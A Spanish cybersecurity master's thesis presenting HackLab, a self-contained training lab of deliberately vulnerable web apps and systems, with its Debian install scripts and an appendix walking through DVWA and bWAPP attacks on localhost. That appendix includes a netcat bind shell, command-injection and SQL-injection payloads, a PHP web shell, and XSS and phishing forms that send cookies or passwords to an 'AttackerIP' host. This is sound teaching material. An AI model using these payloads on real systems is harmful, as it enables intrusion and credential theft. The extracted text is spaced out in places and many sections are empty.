Documentos de Académico
Documentos de Profesional
Documentos de Cultura
9205 MCS 2015
9205 MCS 2015
Màster en Ciberseguretat
HackLab
Laboratorio autocontenido de
Seguridad de la Información
D. Pablo Urmeneta
HackLab
Laboratorio autocontenido de
Seguridad de la Información
Acabada l'exposició i contestades per part de l'alumne les objeccions formulades pels
Srs. membres del tribunal, aquest valorà l'esmentat Treball amb la qualificació de
Barcelona,
Pablo Urmeneta
Entorno de pruebas autocontenido que contemple en un único sistema los diferentes ob-
jetivos/escenarios de ataque orientado a la educación y el autoaprendizaje.
1. Introducción 1
2. Despliegue 2
3. Escenarios contemplados 3
4.1.2. WebGoat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
4.1.3. bWAPP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
5.1.1. DVL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
5.1.2. Metasploitable2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
5.1.3. De-ICE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
7. Ingeniería inversa 11
I
8. Análisis forense 12
9. Ciberinteligencia 13
10.1. Limitaciones . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
11.Conclusiones 15
A. Instalación 16
B. Fichero .deb 20
B.1. Scripts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
B.1.1. control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
B.1.2. postinst . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
B.1.3. postrm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
C. Información de referencia 25
C.1. Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
C.1.2. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
C.4. Infraestructuras . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
C.4.1. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
II
C.6.1. Herramientas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
III
Capítulo 1
Introducción
Hay muchas personas que quieren iniciarse o mejorar sus aptitudes en el ámbito de la
ciberseguridad, pero por limitaciones infraestructurales no disponen de los medios para
llevar a cabo las prácticas.
1
Capítulo 2
Despliegue
Para agilizar el proceso de despliegue son necesarios dos comandos según se detalla en
el Anexo A en la página 16. Esto es debido al despliegue mediante ficheros de despliegue de
paquetes de Debian1 , que incluye tanto los ficheros a desplegar como el script de despliegue
de los mismos, según se detalla en el Anexo B en la página 20
1
https://es.wikipedia.org/wiki/Deb
2
Capítulo 3
Escenarios contemplados
Aplicaciones móviles
Ingeniería inversa
Análisis forense
Ciberinteligencia
3
Capítulo 4
En este capítulo introduciremos los diferentes entornos web vulnerables que se des-
pliegan en el HackLab, junto a una pequeña guía orientativa en cuanto a la dificultad de
resolución de los diferentes escenarios.
WebGoat
bWAPP
NOWASP Mutillidae
4
4.1.1. Damn Vulnerable Web App (DVWA)
Destacar que facilita la visualización del código fuente, hecho que la hace un muy buen
punto de partida para cada uno de los niveles de protección.
4.1.2. WebGoat
4.1.3. bWAPP
5
4.1.4. NOWASP Mutillidae
“OWASP Mutillidae II: Web Pwn in Mass Production” 10,11 ha sido desarrollado por
Jeremy Druin (webpwnized) basado en el proyecto Mutillidae12 de Adrian “Irongeek”
Crenshaw.
Si bien los retos propuestos en los diferentes escenarios son en muchos casos equivalen-
tes y se basan en las mismas vulnerabilidades, cada uno de ellos tiene sus particularidades
en la implementación de las vulnerabilidades como en las estrategias de mitigación apli-
cadas, y es por ello que se ha decidido desplegar varios entornos que ofrezcan el mayor
número de retos al usuario.
Destacar que en la mayoría de los entornos se definen varios niveles de dificultad para
los diferentes retos planteados que, en general, se corresponden a:
Considerando los entornos, y para realizar las pruebas con un nivel progresivo de
dificultad, se recomienda afrontar los retos en el siguiente orden:
6
3. realizar los retos de WebGoat
9. habilitar el WAF para validar la eficacia de las reglas desplegadas (CRS) en entornos
vulnerables
11. buscar posibles vectores de ataque que evadan la protección del WAF sobre aplica-
ciones web vulnerables (niveles bajos)
Herramientas
Manuales y cheatsheets
Fuentes de ejercicios
7
Capítulo 5
Adicionalmente, algunos de ellos disponen de servicios web, que en muchos casos de-
berán atacarse con las técnicas planteadas en el capítulo 4 para poder resolver el reto o
explotar un vector de ataque sobre el servidor.
Metasploitable2
De-ICE
5.1.1. DVL
8
5.1.2. Metasploitable2
5.1.3. De-ICE
Los retos De-ICE se componen de distintas imágenes de sistema operativo Live vul-
nerables.
En el HackLabse despliegan los siguientes:
S1_100
S1_110
S1_120
S1_123
S1_130
S1_140
S2_100
Destacar que aunque en algunos casos los retos tienen aspectos en común, cada uno
de ellos es independiente de los demás (no es necesario llevar a cabo el ataque a todos los
sistemas para adelantar en la resolución de uno de ellos).
Herramientas
Manuales y cheatsheets
Fuentes de ejercicios
Un informe de vulnerabilidades de un supuesto entorno que consistía en una subred
con tres de los retos De-ICE:
• S1_100
• S1_110
• S1_120
9
Capítulo 6
Herramientas
Manuales y cheatsheets
Fuentes de ejercicios
10
Capítulo 7
Ingeniería inversa
Herramientas
Manuales y cheatsheets
Fuentes de ejercicios
11
Capítulo 8
Análisis forense
Dada la complejidad del análisis forense y la difcultad para orientar una platafoma de
autoaprendizaje, este apartado se contempla únicamente desde el punto de vista teórico
mediante la aportación de recursos que permitan el acceso a la información y el software
necesario para introducirse en el mundo del análisis forense.
Herramientas
Manuales y cheatsheets
Fuentes de ejercicios
12
Capítulo 9
Ciberinteligencia
13
Capítulo 10
10.1. Limitaciones
Despliegue en entorno cloud compartido (p.ej.: AWS) de forma segura (p.e.: mediante
gateway).
Despliegue de los escenarios de ataque desde las fuentes originales en vez de versiones
estáticas.
14
Capítulo 11
Conclusiones
15
Apéndice A
Instalación
Para realizar la instalación del HackLab se deberán llevar a cabo los siguientes pasos
sobre un sistema Kali Linux actualizado y que disponga de al menos 20GB libres en el
disco duro:
2. Ejecutar el comando
dpkg -i hacklab_x . y . z . deb
3. Debido a las dependencias del paquete hacklab, no instaladas por defecto en Kali, de
cara a instalar los paquetes pendientes y finalizar la instalación del entorno, ejecutar:
apt - get -f install
16
root@kali :~# apt - get -f install
Reading package lists ... Done
Building dependency tree
Reading state information ... Done
Correcting dependencies ... Done
The following extra packages will be installed :
bridge - utils ipxe - qemu libapache2 - mod - security2 libfdt1
libiscsi2 librados2 librbd1 libseccomp2 libspice - server1
li bu sb red ir pa rse r1 libvdeplug2 libxen -4.4 libxenstore3 .0
modsecurity - crs openbios - ppc openbios - sparc openhackware
qemu qemu - slof qemu - system qemu - system - arm
qemu - system - common qemu - system - mips qemu - system - misc
qemu - system - ppc qemu - system - sparc qemu - system - x86
qemu - user qemu - user - binfmt qemu - utils seabios sharutils
Suggested packages :
lua geoip - database - contrib qemu - user - static vde2 sgabios
ovmf debootstrap
The following NEW packages will be installed :
bridge - utils ipxe - qemu libapache2 - mod - security2 libfdt1
libiscsi2 librados2 librbd1 libseccomp2 libspice - server1
li bu sb red ir pa rse r1 libvdeplug2 libxen -4.4 libxenstore3 .0
modsecurity - crs openbios - ppc openbios - sparc openhackware
qemu qemu - slof qemu - system qemu - system - arm
qemu - system - common qemu - system - mips qemu - system - misc
qemu - system - ppc qemu - system - sparc qemu - system - x86
qemu - user qemu - user - binfmt qemu - utils seabios sharutils
0 upgraded , 32 newly installed , 0 to remove and 0 not upgraded .
1 not fully installed or removed .
Need to get 70.0 MB of archives .
After this operation , 378 MB of additional disk space will be used .
Do you want to continue ? [ Y / n ]
Durante la instalación se cargarán diversas páginas web. El usuario deberá seguir los pasos
de instalación propuestos en cada una de las siguientes URLs:
bWAPP (http://localhost/bWAPP/setup.php)
DVWA (http://localhost/DVWA/setup.php)
Mutillidae (http://localhost/mutillidae/set-up-database.php)
17
Figura A.1: Instalación de bWAPP
18
Figura A.2: Instalación de Damn Vulnerable Web App
19
Apéndice B
Fichero .deb
20
| | - - D e _ IC E _S 1 _ 13 0 _s t ar t . sh
| | - - D e _ IC E _S 1 _ 14 0 _s t ar t . sh
| | - - D e _ IC E _S 2 _ 10 0 _s t ar t . sh
| | - - DVL
| | ‘-- DVL_1 .5 _I n f ec t io u s_ D i se a se . iso
| | - - DVL_start . sh
| | - - DVWA . sh
| | - - . images
| | | - - armitage . jpeg
| | | - - bee_1 . png
| | | - - De - ICE . png
| | | - - DVL . jpeg
| | | - - DVL . png
| | | - - DVWA . png
| | | - - metasploit . jpeg
| | ‘-- mutillidae . png
| | - - M e t a s p l o i t a b l e 2 _ s t a r t . sh
| | - - mutillidae . sh
| | - - WAF_disable . sh
| | - - WAF_enable . sh
| | - - WebGoat -6.0.1 - war - exec . jar
| | - - WebGoat_start . sh
| ‘-- WebGoat_stop . sh
‘-- root
‘-- . local
‘-- share
| - - applications
| | - - bWAPP . desktop
| | - - DVL . desktop
| | - - DVWA . desktop
| | - - Metasploitable2 . desktop
| | - - mutillidae . desktop
| | - - OpenVAS . desktop
| | - - S1_100 . desktop
| | - - S1_110 . desktop
| | - - S1_120 . desktop
| | - - S1_123 . desktop
| | - - S1_130 . desktop
| | - - S1_140 . desktop
| | - - S2_100 . desktop
| | - - SQL Demo Codebashing . desktop
| | - - WAF_disable . desktop
| | - - WAF_enable . desktop
| | - - WebGoat_start . desktop
| ‘-- WebGoat_stop . desktop
‘-- desktop - directories
| - - hl_01_webs . directory
| - - hl_02_03_deIce . directory
| - - hl_02_infra . directory
‘-- hl_09_scripts . directory
18 directories , 69 files
21
pliegue del paquete mediante los ficheros:
B.1. Scripts
B.1.1. control
Package : hacklab
Version : 0.1.0
Architecture : all
Essential : no
Priority : optional
Depends : apache2 , php5 , php5 - curl , qemu , bridge - utils ,
libapache2 - modsecurity | libapache2 - mod - security2 , modsecurity - crs
Maintainer : Pablo Urmeneta
Installed - Size : 4320500
Description : HackLab environment to be deployed over a clean Kali
Linux for local testing .
B.1.2. postinst
22
#!/ bin / bash
rm $web_path / index .*
unzip / hacklab /0 _INSTALL / bWAPPv2 .2. zip -d $web_path /
rm / hacklab /0 _INSTALL / bWAPPv2 .2. zip
chmod 777 $web_path / bWAPP / passwords /
chmod 777 $web_path / bWAPP / images /
chmod 777 $web_path / bWAPP / documents /
mkdir $web_path / bWAPP / logs /
chmod 777 $web_path / bWAPP / logs /
a2enmod rewrite
a2enmod ssl
a2ensite default - ssl
23
for f in / etc / modsecurity / optional_rules /* ; do sudo ln -s
/ etc / modsecurity / optional_rules / $f
/ etc / modsecurity / activated_rules / $f ; done
a2enmod headers
B.1.3. postrm
#!/ bin / bash
rm -r $web_path / bWAPP
rm -r $web_path / DVWA
rm -r $web_path / mutillidae
rm -r / hacklab
24
Apéndice C
Información de referencia
Aplicaciones web
Infrastructuras
Aplicaciones móviles
Ingeniería inversa
Análisis forense
Ciberinteligencia
Los contenidos son en general externos generados por terceros no relacionados con el
autor del HackLab. En ningún caso se pretende atentar contra los derechos de autor de
cada uno de los contenidos, motivo por el que se referencia la fuente original de cada uno
de ellos.
C.1. Web
Si bien los retos propuestos en los diferentes escenarios son en muchos casos equivalen-
tes y se basan en las mismas vulnerabilidades, cada uno de ellos tiene sus particularidades
en la implementación de las vulnerabilidades como en las estrategias de mitigación apli-
cadas, y es por ello que se ha decidido desplegar varios entornos que ofrezcan el mayor
número de retos al usuario.
25
Destacar que en la mayoría de los entornos se definen varios niveles de dificultad para
los diferentes retos planteados que, en general, se corresponden a:
C.1.2. Herramientas
26
C.1.3. Manuales y cheatsheets
WebGoat.NET (https://github.com/jerryhoff/WebGoat.NET/)
PentesterLab (https://pentesterlab.com/)
27
Figura C.1: Mindmap de ataque a infraestructuras web por Aman Hardikar
LAMPSecurity (http://sourceforge.net/projects/lampsecurity/)
28
Moth (http://www.bonsai-sec.com/en/research/moth.php)
WackoPicko (https://github.com/adamdoupe/WackoPicko)
BadStore (http://www.badstore.net/)
hackxor (http://hackxor.sourceforge.net/cgi-bin/index.pl)
SecuriBench (http://suif.stanford.edu/~livshits/securibench/)
SQLol (https://github.com/SpiderLabs/SQLol)
CryptOMG (https://github.com/SpiderLabs/CryptOMG)
XMLmao (https://github.com/SpiderLabs/XMLmao)
GameOver (http://sourceforge.net/projects/null-gameover/)
PuzzleMall (http://code.google.com/p/puzzlemall/)
VulnApp (http://www.nth-dimension.org.uk/blog.php?id=88)
sqli-labs (https://github.com/Audi-1/sqli-labs)
SocketToMe (http://digi.ninja/projects/sockettome.php)
29
C.2. Resolución de DVWA
Brute Force
Observamos que es posible realizar ataques de fuerza bruta sobre el login de la apli-
cación web mediante la ejecución del programa hydra:
hydra -l admin -P / usr / share / wordlists / rockyou . txt -f localhost
http - form - post
’/ DVWA / login . php : username =^ USER ^& password =^ PASS ^& Login = Login : Login
failed ’
Obteniendo:
Hydra v8 .1 ( c ) 2014 by van Hauser / THC - Please do not use in
military or secret service organizations , or for illegal purposes .
Hydra ( http :// www . thc . org / thc - hydra ) starting at 2015 -05 -17 19:53:08
[ DATA ] max 16 tasks per 1 server , overall 64 tasks , 14344399 login
tries ( l :1/ p :14344399) , ~14008 tries per task
[ DATA ] attacking service http - post - form on port 80
[80][ http - post - form ] host : localhost login : admin password :
password
[ STATUS ] attack finished for localhost ( valid pair found )
1 of 1 target successfully completed , 1 valid password found
Hydra ( http :// www . thc . org / thc - hydra ) finished at 2015 -05 -17 19:53:20
Notar que para poder realizar la prueba sobre el formulario disponible en la página
de brute-forcing se tiene que ajustar al uso del método GET e incorporar la cookie del
usuario, ya que la URL se encuentra en un entorno autenticado:
hydra -l admin -P / usr / share / wordlists / rockyou . txt -f localhost http -
get ’/ DVWA / vulnerabilities / brute /? username =^ USER ^& password =^ PASS ^&
Login = Login : Username and / or password incorrect .: H = Cookie : security
= low ; security_level =0; PHPSESSID =92 jjqrdri091lb1gg5kn14e220 ’
Causas
CAPTCHAs
30
bloqueo de usuarios tras un número razonable de intentos fallidos
Impacto
Command Execution
Respuesta:
www - data
Petición:
; cat / etc / passwd
Respuesta:
root : x :0:0: root :/ root :/ bin / bash
daemon : x :1:1: daemon :/ usr / sbin :/ bin / sh
bin : x :2:2: bin :/ bin :/ bin / sh
sys : x :3:3: sys :/ dev :/ bin / sh
sync : x :4:65534: sync :/ bin :/ bin / sync
games : x :5:60: games :/ usr / games :/ bin / sh
man : x :6:12: man :/ var / cache / man :/ bin / sh
lp : x :7:7: lp :/ var / spool / lpd :/ bin / sh
mail : x :8:8: mail :/ var / mail :/ bin / sh
news : x :9:9: news :/ var / spool / news :/ bin / sh
uucp : x :10:10: uucp :/ var / spool / uucp :/ bin / sh
proxy : x :13:13: proxy :/ bin :/ bin / sh
www - data : x :33:33: www - data :/ var / www :/ bin / sh
backup : x :34:34: backup :/ var / backups :/ bin / sh
list : x :38:38: Mailing List Manager :/ var / list :/ bin / sh
irc : x :39:39: ircd :/ var / run / ircd :/ bin / sh
gnats : x :41:41: Gnats Bug - Reporting System
( admin ) :/ var / lib / gnats :/ bin / sh
31
nobody : x :65534:65534: nobody :/ nonexistent :/ bin / sh
libuuid : x :100:101::/ var / lib / libuuid :/ bin / sh
mysql : x :101:103: MySQL Server , , ,:/ nonexistent :/ bin / false
messagebus : x :102:106::/ var / run / dbus :/ bin / false
colord : x :103:107: colord colour management
daemon , , ,:/ var / lib / colord :/ bin / false
usbmux : x :104:46: usbmux daemon , , ,:/ home / usbmux :/ bin / false
miredo : x :105:65534::/ var / run / miredo :/ bin / false
ntp : x :106:112::/ home / ntp :/ bin / false
Debian - exim : x :107:113::/ var / spool / exim4 :/ bin / false
arpwatch : x :108:116: ARP Watcher , , ,:/ var / lib / arpwatch :/ bin / sh
avahi : x :109:117: Avahi mDNS daemon , , ,:/ var / run / avahi - daemon :/ bin / false
beef - xss : x :110:118::/ var / lib / beef - xss :/ bin / false
dradis : x :111:120::/ var / lib / dradis :/ bin / false
pulse : x :112:121: PulseAudio daemon , , ,:/ var / run / pulse :/ bin / false
speech - dispatcher : x :113:29: Speech
Dispatcher , , ,:/ var / run / speech - dispatcher :/ bin / sh
haldaemon : x :114:123: Hardware abstraction
layer , , ,:/ var / run / hald :/ bin / false
sshd : x :115:65534::/ var / run / sshd :/ usr / sbin / nologin
snmp : x :116:125::/ var / lib / snmp :/ bin / false
iodine : x :117:65534::/ var / run / iodine :/ bin / false
postgres : x :118:127: PostgreSQL
administrator , , ,:/ var / lib / postgresql :/ bin / bash
redsocks : x :119:128::/ var / run / redsocks :/ bin / false
stunnel4 : x :120:129::/ var / run / stunnel4 :/ bin / false
statd : x :121:65534::/ var / lib / nfs :/ bin / false
sslh : x :122:132::/ nonexistent :/ bin / false
Debian - gdm : x :123:133: Gnome Display Manager :/ var / lib / gdm3 :/ bin / false
rtkit : x :124:134: RealtimeKit , , ,:/ proc :/ bin / false
saned : x :125:135::/ home / saned :/ bin / false
redis : x :126:136: redis server , , ,:/ var / lib / redis :/ bin / false
Petición:
;/ sbin / ifconfig
Respuesta:
br0 Link encap : Ethernet HWaddr 00:0 c :29: a0 : b2 :18
inet addr :192.168.229.137 Bcast :192.168.229.255
Mask :255.255.255.0
inet6 addr : fe80 ::20 c :29 ff : fea0 : b218 /64 Scope : Link
UP BROADCAST RUNNING MULTICAST MTU :1500 Metric :1
RX packets :2223 errors :0 dropped :0 overruns :0 frame :0
TX packets :441 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :0
RX bytes :473631 (462.5 KiB ) TX bytes :67254 (65.6 KiB )
32
inet6 addr : ::1/128 Scope : Host
UP LOOPBACK RUNNING MTU :65536 Metric :1
RX packets :14818 errors :0 dropped :0 overruns :0 frame :0
TX packets :14818 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :0
RX bytes :3539723 (3.3 MiB ) TX bytes :3539723 (3.3 MiB )
33
RX packets :0 errors :0 dropped :0 overruns :0 frame :0
TX packets :0 errors :0 dropped :0 overruns :0 carrier :0
collisions :0 txqueuelen :500
RX bytes :0 (0.0 B ) TX bytes :0 (0.0 B )
Mediante el siguiente comando se pone a la escucha el puerto 4444 con una shell remota
en el servidor:
; nc -l -p 4444 -c / bin / bash
Causas
La principal causa es la falta de validación del input del usuario. En el caso de uso de
realizar un ping a una IP el único input válido debería contener números, puntos y dos
puntos en los formatos IPv4 o IPv6, sin permitir nunca aquellos caracteres que permitan
concatenar comandos (“&”, “;”, “|”).
Impacto
El impacto es muy alto, ya que un usuario malintencionado puede ejecutar código ar-
bitrario en el servidor, afectando a la confidencialidad del servidor (fugas de información),
la integridad (modificación de datos) y la disponibilidad (eliminación de ficheros).
CSRF
34
< form action ="#" method =" GET " > New password : < br >
< input type =" password " AUTOCOMPLETE =" off "
name =" password_new " > < br >
Confirm new password : <br >
< input type =" password " AUTOCOMPLETE =" off " name =" password_conf " >
<br >
< input type =" submit " value =" Change " name =" Change " >
</ form >
Por lo tanto, generaremos una página web con un iframe oculto que cargue la URL:
http :// localhost / DVWA / vulnerabilities / csrf /? password_new = attacker &
password_conf = attacker & Change = Change
35
Causas
No se implementa ningún token únicos asociado a cada una de las peticiones reali-
zadas y vinculados a la sesión de navegación del usuario genuino
Impacto
Insecure CAPTCHA
36
POST http :// localhost / DVWA / vulnerabilities / captcha / HTTP /1.1
(...)
Referer : http :// localhost / DVWA / vulnerabilities / captcha /
Cookie : security = low ; security_level =0;
PHPSESSID =92 j j q r d r i 0 9 1 l b 1 g g 5 k n 1 4 e 2 2 0
(...)
step =2& password_new = admin & password_conf = admin & Change = Change
Se observa que es posible el envío del step 2 directamente, sin validar que se haya pasado
por el primer paso anteriormente.
Causas
No se valida que el paso 2 esté precedido por el 1, que a priori es seguro e incluye el
captcha.
Impacto
File Inclusion
Y se valida que no se realiza ninguna validación del path, aceptando cualquier path
local introducido por el atacante (siempre y cuando el usuario local propietario del proceso
apache, www-data, tenga permisos):
http :// localhost / DVWA / vulnerabilities / fi /? page =/ etc / passwd
37
root : x :0:0: root :/ root :/ bin / bash daemon : x :1:1: daemon :/ usr / sbin :/ bin / sh
bin : x :2:2: bin :/ bin :/ bin / sh sys : x :3:3: sys :/ dev :/ bin / sh sync : x
:4:65534: sync :/ bin :/ bin / sync games : x :5:60: games :/ usr / games :/ bin / sh
man : x :6:12: man :/ var / cache / man :/ bin / sh lp : x :7:7: lp :/ var / spool / lpd
:/ bin / sh mail : x :8:8: mail :/ var / mail :/ bin / sh news : x :9:9: news :/ var /
spool / news :/ bin / sh uucp : x :10:10: uucp :/ var / spool / uucp :/ bin / sh proxy
: x :13:13: proxy :/ bin :/ bin / sh www - data : x :33:33: www - data :/ var / www :/
bin / sh backup : x :34:34: backup :/ var / backups :/ bin / sh list : x :38:38:
Mailing List Manager :/ var / list :/ bin / sh irc : x :39:39: ircd :/ var / run /
ircd :/ bin / sh gnats : x :41:41: Gnats Bug - Reporting System ( admin ) :/ var
/ lib / gnats :/ bin / sh nobody : x :65534:65534: nobody :/ nonexistent :/ bin /
sh libuuid : x :100:101::/ var / lib / libuuid :/ bin / sh mysql : x :101:103:
MySQL Server , , ,:/ nonexistent :/ bin / false messagebus : x :102:106::/ var
/ run / dbus :/ bin / false colord : x :103:107: colord colour management
daemon , , ,:/ var / lib / colord :/ bin / false usbmux : x :104:46: usbmux daemon
, , ,:/ home / usbmux :/ bin / false miredo : x :105:65534::/ var / run / miredo :/
bin / false ntp : x :106:112::/ home / ntp :/ bin / false Debian - exim : x
:107:113::/ var / spool / exim4 :/ bin / false arpwatch : x :108:116: ARP
Watcher , , ,:/ var / lib / arpwatch :/ bin / sh avahi : x :109:117: Avahi mDNS
daemon , , ,:/ var / run / avahi - daemon :/ bin / false beef - xss : x :110:118::/
var / lib / beef - xss :/ bin / false dradis : x :111:120::/ var / lib / dradis :/ bin
/ false pulse : x :112:121: PulseAudio daemon , , ,:/ var / run / pulse :/ bin /
false speech - dispatcher : x :113:29: Speech Dispatcher , , ,:/ var / run /
speech - dispatcher :/ bin / sh haldaemon : x :114:123: Hardware abstraction
layer , , ,:/ var / run / hald :/ bin / false sshd : x :115:65534::/ var / run / sshd
:/ usr / sbin / nologin snmp : x :116:125::/ var / lib / snmp :/ bin / false iodine
: x :117:65534::/ var / run / iodine :/ bin / false postgres : x :118:127:
PostgreSQL administrator , , ,:/ var / lib / postgresql :/ bin / bash redsocks
: x :119:128::/ var / run / redsocks :/ bin / false stunnel4 : x :120:129::/ var /
run / stunnel4 :/ bin / false statd : x :121:65534::/ var / lib / nfs :/ bin / false
sslh : x :122:132::/ nonexistent :/ bin / false Debian - gdm : x :123:133:
Gnome Display Manager :/ var / lib / gdm3 :/ bin / false rtkit : x :124:134:
RealtimeKit , , ,:/ proc :/ bin / false saned : x :125:135::/ home / saned :/ bin /
false redis : x :126:136: redis server , , ,:/ var / lib / redis :/ bin / false
Causas
Impacto
38
SQL Injection
Que ya nos presenta la solución de bases de datos que soporta la aplicación: MySQL.
Si creamos una condición siempre válida obtenemos la respuesta para todos los usuarios
de la máquina:
’ or 1=1 #
ID : ’ or 1=1 #
First name : admin
Surname : admin
ID : ’ or 1=1 #
First name : Gordon
Surname : Brown
ID : ’ or 1=1 #
First name : Hack
Surname : Me
ID : ’ or 1=1 #
First name : Pablo
Surname : Picasso
ID : ’ or 1=1 #
First name : Bob
Surname : Smith
39
ID : ’ and 1=0 union select 1 ,2 #
First name : 1
Surname : 2
Causas
Impacto
El atacante puede realizar sentencias MySQL con los mismos permisos que el usuario
de base de datos que ejecuta el servicio (root).
40
SQL Injection (Blind)
Respecto la prueba anterior la única mejora es que no muestra los mensajes de error,
dificultando la depuración de las queries desde el punto de vista del atacante. No obstante,
la respuesta a las sentencias válidas es la misma. A continuación se muestran algunos
ejemplos:
’ or 1=1 #
ID : ’ or 1=1 #
First name : admin
Surname : admin
ID : ’ or 1=1 #
First name : Gordon
Surname : Brown
ID : ’ or 1=1 #
First name : Hack
Surname : Me
ID : ’ or 1=1 #
First name : Pablo
Surname : Picasso
ID : ’ or 1=1 #
First name : Bob
Surname : Smith
Causas
Impacto
El atacante puede realizar sentencias MySQL con los mismos permisos que el usuario
de base de datos que ejecuta el servicio (root).
Upload
Observamos que el formulario solicita la carga de una imagen, pero realmente no valida
el fichero subido.
41
Por ejemplo, se puede subir una shell php que permita a un usuario interactuar con
el servidor:
<?
// a simple php backdoor | coded by z0mbie [30.08.03] |
http :// freenet . am /~ zombie \\
42
if ( $result != FALSE ) echo " < pre > < h2 > query was executed
correctly </ h2 >\ n ";
while ( $row = mysql_f etch_arr ay ( $result , MYSQL_ASSOC ) )
print_r ( $row ) ;
mysql _free_re sult ( $result ) ;
die ;
}
?>
<pre > < form action =" <? echo $PHP_SELF ; ? >" METHOD = GET > execute
command : < input type =" text " name =" c " > < input type =" submit "
value =" go " > < hr > </ form >
< form enctype =" multipart / form - data " action =" <? php echo $PHP_SELF ;
? >" method =" post " > < input type =" hidden " name =" MAX_FILE_SIZE "
value ="1000000000" >
upload file : < input name =" file_name " type =" file " > to dir : < input
type =" text " name =" dir " >& nbsp ;& nbsp ; < input type =" submit "
name =" upload " value =" upload " > </ form >
<hr > to browse go to http :// <? echo $SERVER_NAME . $REQUEST_URI ;
? >? d =[ directory here ]
<br > for example :
http :// <? echo $SERVER_NAME . $REQUEST_URI ; ? >? d =/ etc on * nix
or http :// <? echo $SERVER_NAME . $REQUEST_URI ; ? >? d = c :/ windows on win
<hr > execute mysql query :
< form action =" <? echo $PHP_SELF ; ? >" METHOD = GET >
host : < input type =" text " name =" host " value =" localhost " > user : < input
type =" text " name =" usr " value = root > password : < input type =" text "
name =" passwd " >
database : < input type =" text " name =" db " > query : < input type =" text "
name =" mquery " > < input type =" submit " value =" execute " >
</ form >
Causas
Falta de validación del fichero aportado por el usuario, del que no mira la extensión
ni el formato.
Impacto
43
configurado débilmente para distribuir malware, compromiso del servidor mediante carga
de shells propias, etc.
XSS reflected
44
< div id =" main " >
< iframe src =" http :// localhost / DVWA / vulnerabilities / xss_r /? name = <
script > alert ( document . cookie ) ; </ script >" height =1 px width =1 px > </
iframe >
</ div >
Si en vez de realizar una alerta se hiciera un post con los datos de sesión contra el
propio servidor malicioso sería posible extraer la cookie de sesión.
Causas
Falta de sanitización del input del usuario, filtrando o codificando los caracteres que
pueden derivar en ataques de inyección de código (<, >, ;, /, ...).
Impacto
45
XSS stored
Se observa que ambos campos del formulario son vulnerables a la inyección de XSS4 ,
que una vez almacenados en el servidor se convierten en persistentes, afectando a cualquier
visitante de la página web.
Este escenario es muy interesante para el uso del framework BeEF, que a partir de una
vulnerabilidad XSS permite inyectar código en el navegador cliente y ejecutar acciones
remotamente, facilitando la difusión e infección de tantas víctimas como sea posible.
Causas
Falta de sanitización del input del usuario, filtrando o codificando correctamente los
caracteres que pueden derivar en ataques de inyección de código (<, >, ;, /, ...).
Impacto
Es posible robarle la sesión a cualquier usuario logueado que acceda a la URL vulne-
rable del propio servidor, pudiendo impersonarlo mientras el identificador de sesión sea
válido.
También es posible inyectar el framework BeEF, que permite realizar muchas acciones
en el navegador de la víctima a través de XSS.
Level Low
46
< div style =" position : absolute ; left : 0 px ; top : 0 px ; width : 1900 px ;
height : 1300 px ; z - index : 1000; background - color : white ; padding :
1 em ;" >
Please login with valid credentials :
<br > < form name =" login " action =" http :// AttackerIP / login . htm " >
< table > < tr > < td > Username : </ td > < td >
< input type =" text "
name =" username "/ > </ td > </ tr > < tr > < td > Password : </ td > < td > < input
type =" text " name =" password "/ > </ td > </ tr > < tr > < td colspan =2
align = center > < input type =" submit "
value =" Login "/ > </ td > </ tr > </ table > </ form > </ div >
Level Medium
Inyectamos el código anterior codificando los tags “<” y “>” por “ %3C” y “ %3E”
respectivamente:
%3 Cdiv style =" position : absolute ; left : 0 px ; top : 0 px ; width : 1900 px ;
height : 1300 px ; z - index : 1000; background - color : white ; padding : 1
em ;" %3 E
Please login with valid credentials :
%3 Cbr %3E %3 Cform name =" login " action =" http :// AttackerIP / login . htm " %3 E
%3 Ctable %3E %3 Ctr %3E %3 Ctd %3 EUsername : %3 C / td %3E %3 Ctd %3E
%3 Cinput type =" text " name =" username "/ %3 E %3C / td %3E %3C / tr %3E %3 Ctr %3E %3
Ctd %3 EPassword : %3 C / td %3E %3 Ctd %3E %3 Cinput type =" text " name ="
password "/ %3 E %3C / td %3E %3C / tr %3E %3 Ctr %3E %3 Ctd colspan =2 align =
center %3E %3 Cinput type =" submit " value =" Login "/ %3 E %3C / td %3E %3C / tr %3
E %3C / table %3E %3C / form %3E %3C / div %3E
47
HTML Injection - Reflected (POST)
No obstante, dado que en este caso se envía por POST, la reflexión es hacia el propio
atacante. Para poder afectar a terceros se tendría que generar peticiones POST válidas
desde una página bajo el control del atacante.
Level Low
Level Medium
48
iFrame Injection
Level Low
http :// localhost / bWAPP / iframei . php ? ParamUrl = http :// www . microsoft . com &
ParamWidth =250& ParamHeight =250
OS Command Injection
Level Low
49
Level Medium
Level Low
Por otra parte, se puede abrir un listener con un terminal en el servidor web (10.0.14.33)
mediante la ejecución del siguiente comando:
; nc -l -p 4444 -c / bin / sh
Siendo capaz de ejecutar comandos de servidor con los permisos del usuario que ejecuta
el servicio web (www-data)
Level Medium
| nc -l -p 4444 -c / bin / sh
50
